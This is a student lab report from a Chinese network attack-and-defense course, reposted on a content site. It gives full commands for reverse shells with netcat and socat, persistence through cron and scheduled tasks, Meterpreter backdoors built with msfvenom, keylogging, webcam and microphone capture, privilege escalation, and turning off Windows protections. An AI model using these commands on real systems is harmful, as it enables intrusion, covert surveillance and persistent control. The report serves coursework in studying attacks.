20222422 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/20 16:24:20

一.实验内容

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

二.实验过程

1.使用netcat获取主机操作Shell,cron启动某项任务

(1)查看主机和虚拟机ip

主机:

虚拟机:

(2)使用netcat进行连接并获取shell

主机cmd进入ncat所在目录,输入指令:ncat.exe -l -p 2422

虚拟机登入root用户,输入指令:nc 172.20.10.9 2422 -e /bin/sh

win主机输入指令,测试主机是否成功获取虚拟机shell

如上图,成功获取。

(3)通过设置cron使得kali启动定时任务。

进入虚拟机的虚拟机的root账户,输入crontab -e

输入指令30 * * * * /bin/netcat 172.20.10.9 2422 -e /bin/sh,设置为在每小时的第30分钟启动任务,之后输入crontab -l查看时程表:

此时,在虚拟机/var/spool/cron/crontabs文件中会出现一个root文件

将主机与虚拟机建立好连接,输入:echo "* * * * * echo "20222422" > /home/kali/2422_1.txt" > /var/spool/cron/crontabs/root

查看文件是否被成功修改:

如上图,已被成功修改。

2. 使用socat获取主机操作Shell,任务计划启动

首先在主机端安装socat,然后将cmd调至socat所在文件

在主机输入:socat.exe tcp-listen:2422 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口2422,并把cmd.exe的stderr重定向到stdout

在虚拟机上输入:socat - tcp:192.168.1.113:2422

在主机端编写程序:

在虚拟机输入:schtasks /create /sc minute /mo 1 /tn "20222422tky" /tr E:\桌面\大三上学期\网络攻防\实验二\code\bin\Debug\code.exe来每一分钟执行一次这个程序:

在主机上,打开计算机管理,看到正在运行的任务名“20222422tky”,说明实验成功。

3.在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell

关闭windows的实时保护,同时关闭防火墙进行实验。

(1)生成后门文件

获取虚拟机ip

得到虚拟机ip为:192.168.198.130

输入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.130 LPORT=2422 -f exe > 2422backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)

主机进入ncat所在目录下,输入指令:
ncat.exe -lv 2422 > "E:\桌面\2422backdoor.exe"(监听2422窗口等待接收可执行文件2422backdoor.exe,并将2422backdoor.exe文件存放在桌面上)

虚拟机上输入指令:
nc 192.168.1.113 2422 < 2422backdoor.exe(将生成的后门文件2422backdoor.exe传给主机)

成功在桌面上接收到文件:

(3)配置监听模块

回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:

use exploit/multi/handler(使用监听模块,设置payload)

set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)

set LHOST 192.168.198,131 (攻击机的IP地址,和生成后门程序时指定的IP相同)

set LPORT 2422(监听的端口)

接着输入exploit,使监听模块开始运行,并在Windows运行后门2422backdoor.exe文件

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(1)获取目标主机音频、截屏、摄像头、键盘记录

在exploit模块中继续输入以下命令:

record_mic   (音频)

screenshot   (截屏)

webcam_snap (拍照)

keyscan_start (开始读取键盘记录)

keyscan_dump (读取键盘记录结束)

结果如下:(键盘记录的字符串将直接显示在命令栏上)

(2)提权

使用管理员身份运行windows的cmd,继续在exploit模块中继续输入:

getuid (查看当前用户)

getsystem (提权指令)

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在kali命令行下输入:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > pwn_2422

(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为pwn_2422的文件中。)

对生成的pwn_2422文件赋予权限:

重现监听:

打开另一个shell,运行生成的2422_pwn文件(需要使用root权限),回到第一个终端,成功实现远程控制shell

3.问题及解决方案

问题一:在使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell实验中,最开始输入的命令是msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > 2422_pwn,随后在监听中也使用的是linux/x64/meterpreter/reverse_tcp的payload,发现实验无法成功。

问题一解决:将命令里的x64更改为x86,即linux/x86/meterpreter/reverse_tcp后再进行后续步骤,发现实验成功。

问题二:在生成后门文件,并传输到windows后,发现windows不让启动后门文件,且过段时间会自动删除。

问题二解决:在实验前把windows的防火墙和实时保护等功能关闭,发现能够成功运行后门文件。

问题三:在使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell实验中,发现生成的pwn_2422无法执行,没有权限。

问题三解决:输入chmod a+x pwn_2422和chmod 755 pwn_2422来赋予权限,得以解决。

4.学习感悟、思考等

这次实验让我深刻体会到了网络安全工具的多样性和强大功能。无论是netcat、socat这样的网络工具,还是Metasploit Framework(MSF)这样的渗透测试框架,它们都在各自的领域内发挥着不可替代的作用。通过学习和使用这些工具,我不仅掌握了它们的基本操作,更重要的是,我学会了如何根据实际需求灵活运用它们,以达到预期的安全目标。
实验过程中遇到的种种挑战和困难,让我深刻认识到了网络安全领域的复杂性和动态性。无论是缓冲区溢出、权限提升,还是信息收集、远程监控,每一个实验都涉及到了多个层面的知识和技能。在解决问题的过程中,我不仅锻炼了自己的逻辑思维和问题解决能力,还学会了如何快速适应和应对不断变化的网络环境。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/73855.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

2024-2025-1(20241321)《计算机基础与程序设计》第四周学习总结

这个作业属于哪个课程 <班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(2024-2025-1计算机基础与程序设计第一周作业)这个作业的目标 <了解并学习AI功能,回顾一周课程心得>作业正文 ... 本博客链接https://www.cnblo…

『模拟赛』多校A层冲刺NOIP2024模拟赛09(更新 T4)

『模拟赛记录』多校A层冲刺NOIP2024模拟赛09Rank 还行A. 排列最小生成树 (pmst) 签,有点可惜。 考虑连 \(i\) 与 \(i+1\) 时,所有边边权都是小于 \(n\) 的,因此我们只考虑边权小于 \(n\) 的边即可。因为边权为 \(|p_i-p_j|\times|i-j|\),所以只考虑 \(|p_i-p_j|\lt \sqrt{n…

云原生架构视图

关于云原生的概念,业内有没有统一的定义,比较主流的还是CNCF(Cloud Native Computing Foundation,云原生计算基金会)对云原生的定义。原文如下: Cloud native technologies empower organizations to build and run scalable applications in public, private, and hybrid …

2024-2025-1 20241328 《计算机基础与程序设计》第四周学习总结

学期(如2024-2025-1) 学号20241428《计算机基础与程序设计》第4周学习总结 作业信息这个作业属于哪个课程 <班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(如2024-2025-1计算机基础与程序设计第一周作业)这个作业的目标…

dynamics 365 op需要如何配置权限,才可以导入数据

1、dynamics 365 op已经给了导入权限,且有记录的创建权限,但是一直没有导入按钮。2、后来发现当前人必须又导入数据的【删除】权限,才能有导入按钮。 记得收藏并关注,掌握更多相关知识!!!

高等数学 7.3 齐次方程

目录一、齐次方程*二、可化为齐次的方程 一、齐次方程 如果一阶微分方程可化成 \[\cfrac{\mathrm{d}y}{\mathrm{d}x} = \varphi \left( \cfrac{y}{x} \right) \tag{1} \]的形式,那么就称这方程为齐次方程。 在齐次方程 \[\cfrac{\mathrm{d}y}{\mathrm{d}x} = \varphi \left( \…

2024-2025-1 20231309《计算机基础与程序设计》第三周助教总结

课程答疑 最近同学们的提问大多都是与虚拟机、Linux命令有关,往往是在具体操作上出现了未曾意料的报错。 而出现此类问题的主要原因包括:操作不规范,如Linux命令输入不准确等解决方案:出现报错后首先检查自己输入的命令是否准确无误,例如是否少空格少参数等,再看是否有缺…